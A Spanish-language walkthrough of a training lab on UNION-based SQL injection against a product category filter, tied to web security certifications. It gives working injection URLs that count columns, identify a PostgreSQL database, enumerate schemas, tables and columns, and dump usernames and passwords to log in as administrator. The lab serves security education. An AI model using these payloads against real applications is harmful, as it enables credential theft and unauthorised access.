SQLI Lab 5
Skills
- SQL injection attack, listing the database contents on non-Oracle databases
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una vulnerabilidad
de inyección SQL
en el filtro
de categorías
de productos
. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que debemos usar un ataque UNION
para recuperar datos
de otras tablas. La aplicación
tiene una función
de inicio de sesión
, y la base
de datos
contiene una tabla
que almacena nombres de usuario
y contraseñas
. Hay que determinar
el nombre
de esta tabla
y las columnas
que contiene, y luego recuperar
el contenido
de la tabla
para obtener el nombre
de usuario
y la contraseña
de todos los usuarios. Para resolver el laboratorio, hay que iniciar sesión
como el usuario administrador
Resolución
Al acceder a la web
nos sale esto
Pinchamos en alguna de las categorías
, capturamos la petición
con Burpsuite
y le añadimos una '
a category
Si enviamos la petición
nos dará un Internal Server Error
debido a que hemos logrado interferir con la consulta SQL
que se está haciendo
Si usamos este payload
, ya habremos solucionado el error que se estaba produciendo en la consulta SQL
y se mostrará lo siguiente
1
/filter?category=Lifestyle'or+1=1+--+-+
Esto se debe a que la consulta SQL
que se debe estar haciendo debe ser esta
1
SELECT * FROM products WHERE category = 'Lifestyle'
Lo que hacemos cuando inyectamos ' or 1=1-- -
es cerrar la '
del campo category
y usar or 1=1
para que siempre sea verdad y por lo tanto exista, posteriormente con -- -
lo que hacemos es ignorar el resto de la query
1
SELECT * FROM products WHERE category = 'Lifestyle' OR 1=1 -- - '
Usando order by
podemos identificar
cuantas columnas
tiene la tabla
, si ponemos un número
de columnas
que existe
no obtendremos ningún error
1
/filter?category=Lifestyle'order+by+2--+-+
Sin embargo si ponemos un número
de columnas
que no existe
, obtendremos un error
, esto es debido a que estamos ante una SQLI Error Based
1
/filter?category=Lifestyle'order+by+3--+-+
A continuación usamos union select
para señalar ambos campos, podemos descartar que la base
de datos
sea Oracle
porque no nos da un error, si nos diera un error probablemente sería una base de datos Oracle
y debería añadirle from dual
al final
1
/filter?category=Lifestyle'+union+select+null,null--+-+
Con este payload
lo que hacemos es listar
la versión
de la base
de datos
, es importante inspeccionar la web correctamente, en este caso el resultado de la SQLI
está en la parte inferior de la web
1
/filter?category=Lifestyle'+union+select+version(),null--+-+
Listamos
las bases
de datos
, la expresión string_agg(columnName, ',')
es como group_concat de MySQL
1
/filter?category=Lifestyle'+union+select+null,string_agg(datname, ',')+from+pg_database--+-+
Listamos
la base
de datos
actual
1
/filter?category=Lifestyle'+union+select+current_database(),null--+-+
Listamos
los esquemas
de la base
de datos
actual
1
/filter?category=Lifestyle'+union+select+null,string_agg(schema_name,',')+from+information_schema.schemata--+-+
Para listar
las tablas
del esquema public
1
/filter?category=Lifestyle'+union+select+null,string_agg(table_name,',')+from+information_schema.tables+where+table_schema='public'--+-+
Si queremos visualizarlo de mejor forma podemos usar
1
/filter?category=Lifestyle'+union+select+null,array_to_string(array_agg(table_name), E'\n')+from+information_schema.tables+where+table_schema='public'--+-+
Enumeramos
las columnas
de la tabla users_nlnyoc
1
/filter?category=Lifestyle'+union+select+null,array_to_string(array_agg(column_name),E'\n')+from+information_schema.columns+where+table_name='users_nlnyoc'--+-+
Obtenemos
el contenido
de la columna username_vxtjej
y password_siipou
de la tabla users_nlnyoc
1
/filter?category=Lifestyle%27+union+select+username_vxtjej,password_siipou+from+users_nlnyoc--+-+
Nos logueamos
como el usuario administrador